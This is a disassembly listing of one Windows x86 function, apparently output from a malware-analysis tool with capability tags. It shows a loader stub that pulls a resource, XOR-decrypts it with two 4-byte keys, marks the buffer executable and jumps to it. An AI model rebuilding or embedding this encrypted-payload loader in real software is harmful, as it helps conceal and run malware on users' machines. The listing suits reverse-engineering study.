Function at 0x40105e
Capabilities:
Create thread
Extract resource via kernel32 functions
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov eax, 0xaaaaaaaa
nop
push 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor ebx, ebx
mov edi, 1
cmp eax, 8
jb 0x401376
push 4
push 0x1000
push 0xac
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x4010e6
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x40]
push eax
call esi
test eax, eax
je 0x4010e6
mov edx, dword [ebp - 0x40]
lea ecx, [ebp - 0x40]
push ecx
push ebx
push edx
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x4010d9
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x40]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea edx, [ebp - 0x40]
push edx
call esi
test eax, eax
jne 0x4010b2
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call esi
mov ecx, dword [ebp - 4]
push 0x409
mov dword [ecx + 8], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
push 0xc1e
push 0xa
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 4]
mov dword [edx + 0x98], 0x641e1c01
mov eax, dword [ebp - 4]
mov dword [eax + 0xa0], esi
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.dbghelp.dll_ImageNtHeader]
mov ecx, dword [ebp - 4]
push ebx
mov dword [ecx + 0x74], eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [edx + 0x64], esi
mov eax, dword [ebp - 4]
mov dword [eax + 0x9c], ecx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x5c], eax
mov edx, dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [edx + 0x68], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x18], eax
mov edx, dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edx + 0x6c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push 4
push 0x1000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x28], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], ebx
je 0x401376
mov dword [eax + 0x60], 0xd13a7fbb
mov edx, dword [ebp - 4]
mov dword [edx + 0x94], ebx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x94]
cmp ecx, dword [eax + 0xc]
jae 0x4012e3
nop
mov dword [eax + 4], ebx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 4
jae 0x401259
lea esp, [esp]
mov edx, dword [eax + 0x94]
cmp edx, dword [eax + 0xc]
jae 0x401259
mov ebx, dword [eax + 4]
mov ecx, edx
mov edx, dword [eax + 0x18]
mov dl, byte [edx + ecx]
xor dl, byte [eax + ebx + 0x60]
mov eax, dword [eax + 0x28]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 4]
cmp dword [eax + 0x94], 2
jne 0x401242
push dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [eax + 4], edi
mov eax, dword [ebp - 4]
add dword [eax + 0x94], edi
mov eax, dword [ebp - 4]
xor ebx, ebx
cmp dword [eax + 4], 4
jb 0x401210
mov dword [eax + 4], ebx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 4
jae 0x4012a0
mov ecx, dword [eax + 0x94]
cmp ecx, dword [eax + 0xc]
jae 0x4012a0
mov edx, dword [eax + 0x18]
mov ebx, dword [eax + 4]
mov dl, byte [edx + ecx]
xor dl, byte [eax + ebx + 0x98]
mov eax, dword [eax + 0x28]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 4]
add dword [eax + 4], edi
mov eax, dword [ebp - 4]
add dword [eax + 0x94], edi
mov eax, dword [ebp - 4]
xor ebx, ebx
cmp dword [eax + 4], 4
jb 0x401265
mov ecx, dword [eax + 0xc]
add ecx, 0x64
cmp dword [eax + 0x94], ecx
jne 0x4012d4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x8000
push ebx
push ebx
call esi
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x94]
cmp ecx, dword [eax + 0xc]
jb 0x401200
push ebx
push ebx
push eax
push section..text
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
mov eax, dword [ebp - 4]
push 0x1c
lea edx, [eax + 0x78]
mov eax, dword [eax + 0x28]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x3c], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x3c], ebx
je 0x4014c2
push 0xa
call esi
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x84]
lea ecx, [eax + 0x10]
mov eax, dword [eax + 0x28]
push ecx
push 0x20
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x3c], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x28]
push 0xa
mov dword [ebp - 8], eax
call esi
mov eax, dword [ebp - 4]
cmp dword [eax + 0x5c], ebx
je 0x40136f
push 0xa
call esi
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 4]
dec dword [eax + 0x60]
push dword [ebp - 8]
ret
ret
int3